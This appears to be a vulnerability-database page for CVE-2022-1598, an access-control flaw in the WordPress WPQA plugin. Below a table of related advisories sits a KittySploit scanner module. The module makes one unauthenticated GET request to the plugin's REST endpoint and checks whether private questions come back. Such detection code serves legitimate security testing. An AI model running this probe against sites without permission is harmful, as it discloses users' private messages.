WordPress WPQA <5.5 - Improper Access Control Detection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2022-1598 | 8 Jun 202210:15 | – | attackerkb | |
| CVE-2022-1598 | 16 May 202216:11 | – | circl | |
| WordPress plugin WPQA Builder 访问控制错误漏洞 | 8 Jun 202200:00 | – | cnnvd | |
| CVE-2022-1598 | 6 Jun 202208:51 | – | cve | |
| CVE-2022-1598 WPQA < 5.5 - Unauthenticated Private Message Disclosure | 6 Jun 202208:51 | – | cvelist | |
| Exploit for Missing Authentication for Critical Function in 2Code Wpqa_Builder | 30 May 202210:54 | – | githubexploit | |
| CVE-2022-1598 | 15 Oct 202614:22 | – | kitploit | |
| WordPress WPQA <5.5 - Improper Access Control | 15 Oct 202602:05 | – | nuclei | |
| CVE-2022-1598 | 8 Jun 202210:15 | – | nvd | |
| CVE-2022-1598 | 8 Jun 202210:15 | – | osv |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress WPQA plugin before 5."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress WPQA <5.5 - Improper Access Control Detection',
'description': 'WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2022', 'wordpress', 'wp-plugin', 'wpqa', 'idor', 'wpscan', '2code', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8',
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1598',
'https://nvd.nist.gov/vuln/detail/CVE-2022-1598',
'https://github.com/20142995/Goby',
'https://github.com/WhooAmii/POC_to_review',
],
'cve': 'CVE-2022-1598',
}
def run(self):
r = self.http_request(method="GET", path='/wp-json/wp/v2/asked-question', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('"id":', '"rendered":',)
if (all(m in body for m in body_all)):
self.set_info(
severity='medium',
reason="WordPress WPQA <5.5 - Improper Access Control detected",
path='/wp-json/wp/v2/asked-question',
)
return True
return False
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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 25
CVSS 3.15.3
EPSS0.05383